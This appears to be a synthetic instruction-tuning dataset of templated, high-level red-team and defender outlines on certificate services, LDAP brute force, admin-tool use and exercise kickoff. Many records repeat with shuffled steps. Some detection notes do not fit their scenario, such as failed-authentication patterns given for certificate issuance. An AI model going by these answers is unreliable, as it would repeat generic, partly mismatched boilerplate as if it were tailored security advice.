{"instruction": "Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nStep 3: Validate who has enrollment rights and whether those rights are excessive.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate who has enrollment rights and whether those rights are excessive.\n\nStep 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Enterprise CA present with many templates: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Enterprise CA present with many templates", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate who has enrollment rights and whether those rights are excessive.\n\nStep 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Anomalous certificate issuance logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unexpected use of administrative utilities across many hosts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nStep 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 4: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large-scale LDAP brute force attempts detected in logs", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.\n\nStep 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.\n\nStep 4: Tune detection rules with labeled data from lab reproductions to reduce false positives.\n\nDefender detection notes:\n\n  - Recurring patterns of similar failed authentication across many accounts.\n\nMitigations & hardening:\n\n  - Implement cross-source correlation, logging retention, and analytic playbooks for common attack flows.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Coordinating blue-team telemetry collection: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Coordinating blue-team telemetry collection", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Define clear scope, rules of engagement, and escalation contacts.\n\nStep 4: Establish emergency stop procedures and communication channels.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Define clear scope, rules of engagement, and escalation contacts.\n\nStep 3: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 4: Establish emergency stop procedures and communication channels.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Define clear scope, rules of engagement, and escalation contacts.\n\nStep 3: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 4: Establish emergency stop procedures and communication channels.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Define clear scope, rules of engagement, and escalation contacts.\n\nStep 4: Establish emergency stop procedures and communication channels.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Red-team exercise kickoff", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.\n\nStep 3: Establish emergency stop procedures and communication channels.\n\nStep 4: Define clear scope, rules of engagement, and escalation contacts.\n\nDefender detection notes:\n\n  - Ensure logging/configuration is preserved for post-exercise analysis.\n\nMitigations & hardening:\n\n  - Document and obtain written authorizations before activities.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}